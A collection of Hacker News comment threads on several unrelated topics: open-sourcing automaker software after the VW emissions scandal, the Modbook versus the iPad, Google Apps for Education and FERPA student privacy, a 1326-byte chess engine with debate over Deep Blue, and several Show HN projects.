code, fork-code and use the code they write and fork. Without these incentives
a decentralized community would be unlikely to contribute, review and maintain
proprietary code as they would be disincentivised from doing so as the IP
would be protected. The government or the auto-companies would do the reviews,
which outside of the massive cost (passed on to consumers) I will leave you to
work out the issues there.
Oh thanks for this grim view, it is fairly accurate, I disagree with X but on
balance maybe it is more true than false, what is the solution?
We open source the testing and make that public, and we don't need the actual
code to do this. Simple heuristics are developed for whatever we need to
optimize for.
* Safety works this way and is done really well, we smash some cars up, run some stress tests and qualify them.
* Manufacturers are required to publicly announce when they have pushed an update and the specific systems changed like a longer commit message with details of the system and changes.
* Third party tests are continuously upgraded for whatever the battery demanded by the market is.
This will create a market opportunity for someone to create value. They will
provide data and can sell it, distribute it or publish it. People will be
incentivised to write tests because they use vehicles and companies will want
to be auto-trends verified car of the year. If we accept that it will be
almost impossible to convince automakers to give up their IP and that the code
will regulalrly change making review prohibitivle expensive, this seems like
the only option.
Create in depth testing for emissions, safety, cruise control, privacy, data
transmission ETC and have that be governed as open source projects. Open up
bug bounties (either auto-trader/magazines/interested companies sponsor this
or automakers are incentivized to foot this bill). By bug bounty, I mean more
of audting the car and requirements, or if the companies allowed specific
features to have code reviewed like the Jeep hacking experiment.
This will happen anyway because people don't like their credit card data to be
stolen, and they don't like getting caught cheating on ashley madison, but
what they really don't like? Having their car remotely turned off, remotely
piloted using self-driving technology to the criminals dark layer or have
their car otherwise destroyed or used for crimes.
Review is coming, maybe even endorsed by automakers with some of their code
provided, but we can't expect the government to do a great job reviewing the
code, so let's just have an open-source testing model and develop better tests
for things we care about.
------
danso
I have mixed feelings about this. I mean, yeah, open source would definitely
alleviate this issue. I don't know enough about the state of car industry
software (if Honda is par for course...I'm guessing, based on my new car...not
that great?) but I imagine there would be unintended consequences that make
OSS a difficult pill to swallow for carmakers. But sure, if it's feasible,
make them do it.
...But my objection is that there seems to be many other ways that this
problem could be solved...For example, perhaps the certification process
should be slightly more rigorous than "self certification"? Obviously, testing
is cumbersome if the EPA can only test "10 to 15 percent" of new cars...on the
other hand, it sounds like WVU engineers were able to discover it
_accidentally_ without touching the software...which is how a lot of effective
engineering testing manages to be done despite black box systems.
Yeah, making software transparent is almost always a good thing...but if the
test has the kind of predictable characteristics such that programmers can
seemingly hard code the parameters...Is it really easier to move an entire
industry to the open source paradigm than to design a more robust test?
And not to throw too much pity on the regulators...but they were dealing with
an exceptionally committed adversary. It's horrible how GM's culture allowed
the ignition switch defect [1] to go unrecalled until a dozen people died in
such senseless ways...but the ignition switch defect was a result of well-
intended, if ultimately incorrect tradeoffs in the engineering process. And
the deaths were far enough apart, and their cause not certain enough, for
good-hearted engineers to have a "well, someone above my pay grade is dealing
with this" mentality.
But VW's situation...it's hard to imagine how the bad code came about
_without_ active intent by everyone who touched and tested that code. It's one
thing for a huge company to have the kind of bureaucratic stagnancy that leads
to tragic inaction...it's something else for them to commit to breaking the
law in such an obvious way.
[1] [http://www.npr.org/2014/03/31/297312252/the-long-road-to-
gms...](http://www.npr.org/2014/03/31/297312252/the-long-road-to-gms-ignition-
switch-recall)
edit: It really just seems the OP is throwing a bunch of assertions together,
with software being the most mysterious and therefore the most obvious
scapegoat. The advocate/technologist most prominently featured doesn't make
cogent arguments (though maybe he was misquoted?).
The following quote from Mr. Moglen is so nonsensical that it could only make
sense to people whose understanding of computers seems very limited:
> _“Software is in everything,” he said, citing airplanes, medical devices and
> cars, much of it proprietary and thus invisible. “We shouldn’t use it for
> purposes that could conceivably cause harm, like running personal computers,
> let alone should we use it for things like anti-lock brakes or throttle
> control in automobiles.”_
Huh? If software shouldn't be allowed to run personal computers, because PCs
can cause harm...then...huh?
~~~
etherealmachine
I've seen a lot of comments on this topic discussing the issues manufacturers
might have with releasing their code as "open source". I say odd because it's
orthogonal to the issue here. No one (not even the EFF) seems to want to force
auto makers to open source their code - not even if you use a bastardized
meaning of open source like Microsoft's "Shared Source". What most articles
I've seen propose is instead that it not be a felony to copy, reverse engineer
and then inspect the code. Some articles have mentioned letting regulators
inspect code, but most stick to a simple request - remove the DMCA Anti-
Circumvention protection for automobile software. It's disconcerting to see a
relatively simple request be pushed into straw-man territory of requiring all
code be open sourced.
~~~
danso
Of the DMCA issue, I definitely agree. If that's the main obstacle preventing
a more transparent way to scrutinize automakers' software (among the many
other kinds of software the DMCA negatively impacts)...it's hard to see the
downside of fixing the law.
| {
"pile_set_name": "HackerNews"
} |
Axiotron - Modbook (the iPad we actually wanted) - elblanco
http://www.axiotron.com/index.php?id=home
======
wmeredith
Yep. This is exactly what I've been thinking for the last several days while
reading through all the piss and vinegar the technorati on the web have been
throwing at the the iPad.
The iPad cost $500-$900 and does a few things exceptionally well. (Like hook
into iBooks, iTunes and Apple's App Store.)
The Modbook on the other hand, starts at ~$1700 and does all that other crap
the technorati wanted the iPad to do. I think everyone just wanted Jobs to
come out with a tablet computer that was cheap and badass like MacBooks are
and, unsurprisingly, that didn't happen.
I mean, I'd _love_ it if Chevy held a press conference and said they were
going to sell Camaros for $10k. But it won't happen and I'm not going to get
all indignant about it.
After all, Steve Jobs said himself they couldn't build a computer for $500
that wasn't, "a piece of crap." So I don't see what the big deal is about the
iPad, in that sense. (I think it is a big deal in several other senses, like
the piggy-backed announcement of iBooks and the A4 chip, etc...)
~~~
Dav3xor
My wife has a modbook, and it is made of unmitigated awesome. It's a little
heavy, and the display is a bit dim because of the glass screen cover... But
it's awesome. And the price is very reasonable. The stylus works really well
(and comes with several different types of tips, including a felt tip that
feels just right...)
She bought it to do UX design work with it, and started on a webcomic with it
because she just liked playing with it so much. ArtRage is awesome on it.
~~~
elblanco
It's always surprised me that, given the number of artists Apple targets with
their offerings, they have absolutely no offering like this that artists can
use.
Here's a review of a similar workflow _from 2002_ by the Penny Arcade guys
using a Windows tablet.
<http://www.penny-arcade.com/2002/11/27/>
and here is their take on the desire of web artists to have a tablet from
Apple right before the iPad came out.
<http://www.penny-arcade.com/comic/2010/1/22/>
~~~
Dav3xor
Yeah, she she's spent a lot of time on setting it up to work (mostly) without
a keyboard -- She says Quickscript is really good (but has some bugs). I want
to play with it more myself, but it's one of those "you can have it when you
pry it from my cold dead fingers" kinda deals.
------
nkassis
My office bought one of these a year ago to try it out. It was extremely heavy
for a tablet and the person who was going to use it just couldn't use it for
what she wanted to do. Basically it was meant as a way for a Professor to
bring it to class and meetings, take notes, do presentations and all kinds of
stuff the iPad seems to be aiming at. I think in the end the iPad will have a
market. No where near the iPhone but a decent size. I think this is going to
replace the MacBook Air.
Personally, I'm waiting for the android tablet about to come out from MSI. I
prefer android as a platform. But the iPad is far from the failure people seem
to claim it is. It's built for a certain kind of user and they usually have
the money to spend on this stuff. I can think of doctors,lawyers and
professors as people who already use similar devices.
~~~
olefoo
I find the rush to judgment on whether the iPad is or is not a success to be
wildly premature. We won't really be able to tell until it's been shipping for
at least 6 months.
~~~
edd
And even then we will only have half the picture as the first well thought
out, well designed apps will just be making it out. The iPad is just as much a
platform for 'awesome' as it is a complete device.
------
almost
That may be the iPad _you_ wanted but to me it just looks like a Tablet PC
running OSX.
~~~
epochwolf
It's a Macbook turned into a Tablet PC. It would be rather funky if it didn't
run OSX.
~~~
almost
Yes, I know that. I just think it's odd that the poster was hoping that the
iPad would be something that already has existed for a while (a standard
laptop without a keyboard).
~~~
elblanco
Why would it be odd for Apple to add a sensible product to a hole in its
product lineup?
It seems to me that very few people are actually impressed or interested in
the iPad, particularly since expectations, desire and hype was for what this
basically is...not for an overinflated iPod touch.
~~~
almost
But it already exists, see the link. Or you could do a hackintosh with a
windows tablet. But then all you have is a laptop without a keyboard and why
would you want that?
I guess I wasn't paying much attention but what I heard pre-launch was that it
was going to basically be a giant iPod Touch. Which seems like quite a good
idea to me. Not quite a cure for cancer but what do you expect?
------
sid-
Surely apple will learn lots of good stuff from the iPad and one day bring
that technology to the MacBook Pro (MacBook Pro Touch ??). Its got to be there
in their roadmap somewhere.
~~~
dkasper
I agree and would predict that in the future all of Apple's computers will be
touch screens. They've already done away with the mouse buttons on their
laptops to get a bigger touchpad, and it seems like the next evolution of that
is a full touch screen. Maybe they will truly become like phones and we will
have iPads with slide out keyboards for the people who need to type a lot
(kind of like the Lenovo hybrid).
~~~
wtallis
I'm still wondering when Apple will get around to buying Wacom. They bought
FingerWorks to get the best multi-touch technology, but I don't think that
multitouch will be quite enough to accommodate the full range of capabilities
we geeks want from our tablets. The combination of pen input and multitouch
offered by Wacom's Bamboo and apparently Axiotron's upcoming Modbook Pro is,
however, enough for general purpose computing. (Command lines and programming
are still hard with pen input because nobody has made a pen input system that
is optimized for all the strange punctuation.)
------
w3matter
Sigh. We geeks want a do-it-all tablet in the fevered imagination of our wet
dreams.
Meanwhile, Apple has leapfrogged all of us, and made the iPad (and iPhone) so
easy, that my toddler and my grandma can use it without a manual. Think! They
can actually email, facebook, and freaking save someone's name with their
telephone number without freaking out over some craptacular user interface
that someone like me made in a lab somewhere.
Remember, we are not the iPad's target audience. The target audience is the
guy that picks up a mouse and tries to speak into it.
Just don't think that Apple somehow failed you, because you did not get
exactly what you wanted.
| {
"pile_set_name": "HackerNews"
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Scientists connect the brains of 3 people, enable thought sharing - vikingo9
https://www.sciencealert.com/brain-to-brain-mind-connection-lets-three-people-share-thoughts
======
ColinWright
Discussion:
[https://news.ycombinator.com/item?id=18138116](https://news.ycombinator.com/item?id=18138116)
| {
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The Carrington Event - bookofjoe
https://www.history.com/news/a-perfect-solar-superstorm-the-1859-carrington-event
======
bookofjoe
URL: [https://www.history.com/news/a-perfect-solar-superstorm-
the-...](https://www.history.com/news/a-perfect-solar-superstorm-
the-1859-carrington-event)
| {
"pile_set_name": "HackerNews"
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Show HN: Precis – A minimal note-taking app built over GitHub Pages - abhin4v
https://abhin4v.github.io/precis/
======
GhostVII
I was initially confused how this could work, since GitHub pages is only for
static hosting, but it turns out you use it by pushing notes to your repo, and
Precis acts as more of a viewer/organizer for your notes (if I am
understanding it correctly). I don't know if I would call it a note-taking
app, since the actual note taking part is on your own computer rather than on
the website, but it is pretty cool. Very pretty!
~~~
cujic9
+1, especially since all notes are public.
------
gsempe
To me, it looks like the right balance between the Twitter and an actual blog.
I may give it a try. Nice job!
------
AmeyKamat
Seems like interesting way to utilize GitHub. Kudos!
| {
"pile_set_name": "HackerNews"
} |
1000+ New Functions for Google Sheets with Blockspring - hackerews
https://api.blockspring.com/blog/blockspring-for-google-sheets
======
sgmarketingguy
Please curate your functions?
There are so many awesome tools buried in therefor me as a web marketer.
Hopefully people would publish content around how the amazing functions is
helping them. Provide use cases...etc.. and you'll get traction.
Sincerely love the product and hope it becomes widely used.
------
blockspring
Also - post coming soon on how to add functions using PHP, R, Python, Ruby, or
Node. Stay tuned!
------
orliesaurus
Is this part of your roadmap or a growthhack product to grow userbase?
~~~
donpinkus
It's meant to make the functions built on Blockspring usable in more places -
so that's how it's part of our core value.
(by the way, long time no see - hope you've been well!)
| {
"pile_set_name": "HackerNews"
} |
Be still my beating heart - ca98am79
http://donmelton.com/2015/12/06/be-still-my-beating-heart/
======
MaysonL
See also episode 08 of the Melton podcast from iMore.
[https://itunes.apple.com/us/podcast/melton/id928565652](https://itunes.apple.com/us/podcast/melton/id928565652)
| {
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Ask HN: What are your goals for the 2020's? - samcgraw
======
andrefuchs
Staying healthy and working on some side projects
------
giantg2
Make enough money to support my family.
Not dying / staying healthy would be a nice bonus. Although, if I die that
would probably satisfy my primary goal via life insurance.
------
kleer001
Continue to behave in ways that successfully made I wanted to happen happen,
prune away the behaviour that got in the way of what I wanted to happen, and
figure out the differences.
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"pile_set_name": "HackerNews"
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EDHmeetup: Find commander play-groups in your area - javierfeliz
https://edhmeetup.com
======
eindiran
Nice, this is a very good idea. Of all Magic formats, I have always been most
interested in Commander and there isn't much "official" support for the format
(although it has improved over the years), so it's awesome to see this filling
in the gap.
I haven't had a large, regular playgroup since college, so I'll definitely try
the site out and see if there is a playgroup near me.
One recommendation: I would allow people to put information in their profiles,
especially about what competitiveness level(s) they are interested in and what
their decks are. The latter should display the color of the deck, the
commander name, and a self-reported power level.
E.g.
"Doran, the Siege Tower" (B)(W)(G) -- Competitive
"Vorel of the Hull Clade" (U)(G) -- Casual
~~~
javierfeliz
Hi!
I'm glad you like the idea. Hopefully you can find a group near you! If not,
you can always create one for anyone else that comes looking for groups in
that area after.
I like your suggestion about letting people have profiles. I will definitely
add it to the task list.
Thank you for the comment!
------
javierfeliz
EDHmeetup is a platform dedicated to helping commander players find a play-
group near them, no matter the country or city. You can either search for
groups near you, or create your own! We also provide tools to use with your
group members.
If you play commander (EDH) and need a group, or want more players in YOUR
group, try out edhmeetup.com!
| {
"pile_set_name": "HackerNews"
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Show HN: A Yeoman generator for a front-end dev workflow - disintegrator
https://github.com/pollen-digital/generator-static
======
disintegrator
Author here. This is my first attempt at open sourcing code!
Some background: I work at Pollen Digital in Sydney, Australia. We regularly
get web-based projects to develop and release. My manager encouraged me to
package up my workflow and send it out into the world. So here it is.
The workflow created by this generator utilises the following tools:
Grunt as the task runner
Bower as the package manager for web libraries/frameworks
Jade
CoffeeScript
LESS
I also wrote a little utility that amends css/js/image references in Jade and
LESS files with their corresponding md5 checksums (first 8 characters to be
specific) as a means for cache busting. This is included in
gruntutils/index.coffee under the generated project's root.
~~~
Torn
I've not used Yeoman before, but we use mimosa <http://mimosajs.com> to do our
front end building pipeline.
What are your opinions on something like mimosa?
Bower and Grunt seem interesting, I'll go look into them.
~~~
disintegrator
Hi Torn,
I have not used Mimosa before but it looks quite nice! I have not spent much
time with it beyond going through the steps of setting up a new project.
Grunt won't be very interesting if Mimosa is meeting your immediate needs
well. The only thing I can say like about it (at this stage) over Mimosa is
that you start with nothing under Grunt and build your workflow from scratch.
It doesn't pre-install coffeescript/livescript/typescript compilers and so on
as its own dependencies - you install their corresponding grunt tasks (e.g.
grunt-contrib-coffee) when you decide you need them.
Bower is great to have in a project to manage your front-end package
dependencies if you don't already have something similar in your dev
environment.
~~~
dbashford
Starting with nothing and building everything from scratch is the opposite of
what Mimosa is trying to do for you. The idea with Mimosa is you are coding
straight away rather than hunting down plugins/modules, or finding generators
;), and then figuring out how to configure them. All those compilers are
available, but if you don't need, for instance, TypeScript compiling, then the
TypeScript stuff stays out of the way. No harm having those extra things.
Mimosa lacks Bower integration, though. Bower integration is nice for managing
those sorts of things.
~~~
disintegrator
I agree with what you say.
If I failed to do so already, please allow me to state that yeoman and its
generators (including my generator) as well as Mimosa may very well be an
"expression of opinion" of various developers. The opinion is regarding what
makes a productive workflow. This will certainly change over time or, at
least, on a project-by-project basis.
In a different comment I made on this submission, I mention that if you are a
developer that has worked with Jade, CoffeeScript and LESS - and enjoyed doing
so - then my generator _may_ make the process of getting up and running with
them a bit faster for your next project.
------
scjr
What makes this different from the default yeoman webapp generator?
~~~
disintegrator
If you like the combination of Jade + CoffeeScript + LESS, then I submit my
generator for your consideration (and I would appreciate any insights you may
have on its shortcomings or possible improvements). My generator is slightly
more barebones than webapp:app. I don't include LiveReload, connect or
require.js initially:
\- I did not need LiveReload or connect because I use a combination of `grunt
watch` and `http-server -c-1`[1] during development with no issues.
\- require.js has not been an immediate requirement for me across a lot of
projects, so I decided to defer the decision to the developer and go with a
minimal setup.
The inbuilt webapp generator makes no decisions on which template language to
use (some may prefer this over starting with Jade). It also decides to go with
SASS/Compass instead of LESS. This is also fine except that it means I now
need to have ruby and compass installed which I wanted to avoid[2].
The way I approach asset revving is a bit different in that I pass the
developer a function to use in their Jade templates to refer to assets
(images/css/etc...). It will resolve the path to an asset and form the url
with a revision appended as a request parameter during template compilation
(not after). It is kind of similar to the way django_compressor does its job
if you are familiar with it (that was my primary inspiration).
Finally, I intend to improve the Gruntfile further by defining concurrent
tasks, adding a clean task and so on.
[1] <https://github.com/nodeapps/http-server>
[2] I've written both SCSS and LESS and enjoyed both. Going with LESS really
came down to reducing time till first page preview.
| {
"pile_set_name": "HackerNews"
} |
How to Kill Start-up Distractions - AndrewGCook
http://andygcook.com/2011/10/how-to-kill-start-up-distractions/
======
nateberkopec
Er, Ev Williams was probably not the best example to use for "it's better to
focus on one thing." Would the author have told Ev to focus on Odeo rather
than work on that crazy, silly side project called Twitter? Perhaps Billy
Chasen shouldn't have been "distracted" by Turntable.fm?
The article is essentially one big tautology: don't be distracted by
distractions! Well, the problem is no one knows what's a distraction and
what's the next Twitter. That's the skill that matters - not ignoring
"distractions" altogether.
It's perhaps important to remember that Clay Christensen remarked that nearly
all disruptive innovations look like toys at first.
~~~
AndrewGCook
Thanks for the comment and you make a good point. I guess what my main point
was that you should pick one thing to focus on once you know what the optimal
thing to focus on is.
Imagine the Odeo team split their efforts between Twitter and their first
idea? I doubt Twitter would have became the site it is today if that happened.
~~~
nateberkopec
Well, by your own logic, they would have become perhaps an even better site,
right? That they were less "distracted" by the sub-optimal Odeo?
No one could ever disagree with the assertion that you shouldn't devote time
to sub-optimal outcomes - it's strictly irrational. "Distractions" arise not
from founders making irrational decisions, they come from misjudgements about
the expected future value of these "distractions." I'm not sure the solution
is to ignore altogether things which have uncertain future value (which I
believe is what you're proposing?) because our judgement about these issues is
often so wrong.
"Hell yeah or no" and the like make for great rhetoric and catchy blog posts,
but they assume our off-the-cuff intuition on such matters is correct. In my
experience, it usually isn't.
------
Luyt
The author writes: _Usually side projects help you learn something new that
you can incorporate back into your start-up._
How true is this! I'm on the side learning Django (because I want to use its
admin feature to do a lot of CRUD) and on another side stint I'm dabbling in
MongoDB, which also can come in very handy for my main projects.
------
wpeterson
This article is a (well written) startup distraction.
| {
"pile_set_name": "HackerNews"
} |
Google, a ‘school official?’ A regulatory quirk can leave parents in the dark - opheicus
https://www.washingtonpost.com/news/the-switch/wp/2015/12/30/google-a-school-official-this-regulatory-quirk-can-leave-parents-in-the-dark/?postshare=2671451564669854
======
golergka
Yes, if you use software to work on some sort of information, this software
will have access to this information.
Yes, if you use SAAS software, this information will be processed by remote
servers.
Yes, if you use proprietary software, you will not know exactly how is this
information processed.
And finally, if you have someone who is willing to work as school clerk, given
how much do these jobs pay and how interesting they are, this person will
likely not understand the complexity of these issues and will be a little bit
lazy with their job, so she probably will not present parents with all the
relevant information.
Now, every single one of these facts seem obvious; how is combination of these
facts warrant an article in one of the biggest newspapers all of a sudden?
~~~
danieldk
_And finally, if you have someone who is willing to work as school clerk,
given how much do these jobs pay and how interesting they are, this person
will likely not understand the complexity of these issues_
I think that is naive -- the general population understands perfectly that
Google tracks users and uses that information to display ads. The GAFE apps
are covered by different terms of service that restrict the collection of
information, but Google draws the line in plain English in their GAFE/GAFW
copy:
_We do not scan for advertising purposes in Gmail or other Google Apps
services. Google does not collect or use data in Google Apps services for
advertising purposes. The situation is different for our free offerings and
the consumer space._
I think the reason why schools go for GAFE is clear and simple: the choice is
between having personnel on staff for maintaining servers, computer labs, and
troubleshooting students' devices; or outsource it nearly for free to Google.
~~~
pdkl95
> for advertising purposes
Which neatly leaves out non-advertising purposes. The statement even admits to
collecting data _for other purposes_ in the negative - otherwise the would
simply say they "scan ... collect or use" the data at all.
This is just like the word-games the NSA likes to play when they insist they
aren't collecting data "under _this phone records program_ ".
Both Google (for collecting and aggregating data) and the schools (for giving
the data to a 3rd party) should be held liable for anything that happens from
this data collection.
~~~
michaelt
Well, presumably Google scans the e-mails for search indexing, for virus
detection, and for spam filtering; and collect the e-mails for when the user
asks to search or retrieve them.
~~~
newjersey
Exactly! I want to support stronger privacy but this just smells like someone
wants one big payout for themselves. IF it were found that Google were sharing
student information with anyone, including the government, things might be
different (well not the government anymore thanks CISA) but I could understand
if they were caught selling the information to others or snooping on their
users' emails and using that in a court case (looking at you, Microsoft you
can't undo that).
Articles like these hurts privacy because they cause noise where none is
deserved and people just get tired of hearing things like this that they
ignore legitimate worries like CISA.
~~~
kuschku
> IF it were found that Google were sharing student information with anyone,
> including the government
Well, Snowden has shown us exactly that. Google participating voluntarily in
PRISM.
------
MikeNomad
What I find far more... something than FERPA being described as "an obscure
law," is how brazen and obvious Google is about breaking it.
If Google is a "School Official," their FERPA obligations do not stop at any
point short of/when operating in that capacity.
Further, the idea that they can somehow "switch hats," and somehow maintain
discrete sets of both FERPA and non-FERPA behaviors is at best naive, and at
worst a conspiracy to commit various felonies.
The money shot of the article: EPIC didn't have standing when they filed their
lawsuit, not that they were wrong with regard to laws being broken. With that,
I hope entire school districts of parents with school age children file suit.
~~~
tamana
The judicial branch's abuse of "standing" to refuse to hear cases is one of
the great injustices in USA.
This was a huge deal in the USA PATRIOT domestic spying cases, where courts
refused to hear lawsuits about spying, because plaintiffs couldn't prove they
were being spied on before they won the right to collect evidence, because it
was illegal for libraries/banks/IT companies disclose the spying!
~~~
themartorana
I completely agree. In civil suits it may make sense, but when someone brings
up a possible violation of federal law by another party, they shouldn't have
to be harmed directly, they're helping prevent their fellow citizens from
being harmed by someone or something breaking established law.
It's really sad.
------
mikegerwitz
Related: [https://www.eff.org/issues/student-
privacy/](https://www.eff.org/issues/student-privacy/)
As a parent with a child entering Kindergarten this upcoming school year, and
as an avid privacy and free software advocate, I'm not looking forward to the
types of discussions that I'm likely going to have to have with our schools.
The reality is that these aren't systems that are easy to roll back---it costs
a lot of time and money to implement, and then you have vendor lockin.
So while I can hope for a receptive district, action is probably going to be
more difficult. My hope is that they haven't ddone anything too disagreeable
yet.
Does anyone else have any personal experiences working with their schools?
~~~
analog31
Is there anything that a kid could install on a school owned Chromebook, that
would protect their privacy? Tor?
~~~
userbinator
_school owned_
If it's the school's, then I would just say no. It's theirs, they can do
whatever they want with it. How about giving your chid a real general-purpose
computer instead, running completely free software:
[http://minifree.org/product/libreboot-x200/](http://minifree.org/product/libreboot-x200/)
Just as Google et al. are trying to get kids conditioned to their ecosystems
at a young age by pushing their product, those who advocate against them
should do the same.
------
rubyfan
I'm as adverse to reinterpretations like this as anyone but what might be more
interesting or actionable would be evidence of what data Google are collecting
and how Google are using this data.
~~~
timonovici
How is that gonna work? You can't just sniff the traffic between Google and
the students(SSL & stuff), and I very much doubt that Google itself will let
you take a look in their datacenter.
~~~
tombrossman
You most definitely can sniff traffic between Google and students, this is
widespread and completely normal behaviour at schools and also on many
corporate networks. School computers have a MITM certificate installed which
allows decryption and re-encryption, usually for the purpose of content
filtering and malware detection.
~~~
timonovici
Oh. I haven't thought of that :) Yeah, given that the school has root on those
laptops, they definitely can do that.
------
cs702
"Trust us. It's OK. We won't use it for evil purposes, because one of our
corporate goals is not to be evil."
------
Animats
All we want is your firstborn child.
| {
"pile_set_name": "HackerNews"
} |
A chess engine in 1326 bytes - fizx
http://nanochess.110mb.com/chess3.html
======
pavs
As a Chess engine enthusiast I was aware of pico chess and the fact that
nanochess (by the same author) uses winboard protocol is new to me.
Most people thinks that Deep Blue solved chess and as far as computer chess is
concerned, the field is "finished". But it is far from the truth. The current
top Chess engine (rybka) running on an off the self desktop computer could
easily beat deepblue. Not because the current desktop hardware is equivalent
or superior to deep blue (which it isn't) but because the chess knowledge of
current top engine is much superior than deepblue running on a super computer.
Sorry for going a bit off-topic but I thought some of you might this
interesting. Actually chess-engine field is a quite interesting field, as long
as you are not trying to make money.
~~~
likpok
Have chess engines gotten to the point where they can win without cheating
(e.g. being reprogrammed between rounds)?
~~~
pavs
Are you referring to opening books and endgame tablebases? They are not
"preprogarmmed" into the chess engines (at least I have never seen one since
the late 90s).
For UCI protocol the openbooks and TB are handled by the GUI - with an option
to not use them. Same with the winboard protocol engine - but the engines
handle the opening book and TB with the option to not use them if configured.
Nothing is pre-programmed.
Opening book is the combination of best moves in the opening stages of the
game taken from 1000s of games played by human players. Chess engine uses them
to "minimize" the error in opening position. They can beat even the best
grandmaster without opening book.
End-game Tablebases are every possible combination of moves at the end of the
game. Currently only 3-4-5-6 pieces TBs are available (a combination of ~1.6
Terabyte of data).
Again, nothing is pre-programmed. Using them gives them an advantage of ~30-40
ELo points, which means little when you are already 300-500 elo points
stronger than the strongest human opponent (fair guestimation IMO)
EDIT: Just realized you wrote "reprogrammed" not "preprogrammed", not sure
what do you mean by "between rounds" and "Cheating". Most strong chess
programs are binary builds and most of them use popular protocols like UCI and
Winboard to handle GUI functions and everything is automated so I am kinda
confused by the "reprogrammed" part.
~~~
gaius
In Deep Blue vs Kasparov, in between matches IBM modified Deep Blue to shore
up any weaknesses it displayed against Kasparov's style. A fair competition
would have seen Deep Blue "learn" only through AI techniques.
~~~
pavs
To the best of my knowledge, this was an accusation made by Kasparov after he
lost the game, there is no actual evidence of this happening - or if it was
within the rules of the tournament (to tweak). As you might know, "Deep Blue"
was more than just software, a big part of deep blue was its massive parallel
processing power crunching literally 200 million nodes per second (nps or
positions per second), even though source code of deep blue is not available
to public, raw logs of the game are available and nothing from those logs
suggest that any monkey business was going on (it has been debunked many
times).
I think Kasparov got overwhelmed by the numbers that DB was crunching and he
lost the game psychologically even before the game started. If you actually
studied the games he played against DB - you would see amateur mistakes made
by one of the world's greatest grandmaster.
I think if he knew he wasn't playing a computer, he could have done a lot
better.
Regardless, there is no comparison between deep blue and modern computer
engines. To the best of my knowledge, most (popular) comp-comp tournaments and
comp-human tournament, the binaries of the engines are given to the tournament
organizers which are used in all games throughout the tournament. This is most
definitely true for comp-human games; for comp-comp games it might depend on
the participants and the organization hosting the tournament.
~~~
flipper
Kasparov lost the last and deciding game of the match with a horrible blunder
playing the Caro-Kann, a defence he did not often play.
Kasparov believed that the Deep Blue team had spent a lot of time analyzing
his style and looking for weaknesses. He felt it was unfair that Deep Blue was
designed to beat him, personally, but he wasn't able to study it in the same
way.
Kasparov decided to play an unusual defence in game 6 hoping to avoid any
theoretical surprises his opponents may have prepared against his favourite
defences, but it didn't work. At the same time, the pressure he was under no
doubt contributed to his defeat.
Of course now Rybka doesn't need any 'help' from human handlers, it can
comfortably beat strong Grandmasters (Rybka 3's ELO is over 3200).
If it is any consolation the surge in computer chess strength is largely
thought to be due to modern engines evaluating positions more like a human
would, rather than looking at more positions.
------
fizx
Anyone play it yet? It's a pretty easy thing to do, apparently. There's
windows binaries, and on mac, I'd just use the command line interface, and
follow along with eboard (sudo port install eboard).
I'm about to start my first game. I'm going to laugh when it kicks my arse.
Edit: It prints out an ASCII-art board after every move. Apparently (since
it's deterministic) it plays Scandinavian Opening against 1. e4. Anyhow, try
it out.
~~~
fizx
I played it two quick games, in both of which I took a piece advantage in mid-
game tactics. It's not terrible, but it doesn't seem to think more than 2-3
moves ahead. I'm a pretty casual player.
~~~
robryan
You'd imagine that its just using a very simple minimax algorithm and not
stepping a great deal of turns ahead? Can't imagine you could build to many
rules into code of that length.
------
hyperbovine
Finally, a chess engine I can beat!
Just kidding, probably not.
------
teeja
I like the idea of programs (and machines) that are lean and mean. (Dinosaurs
were big too.) There's something really satisfying about a few lines of code
that replace a hundred.
| {
"pile_set_name": "HackerNews"
} |
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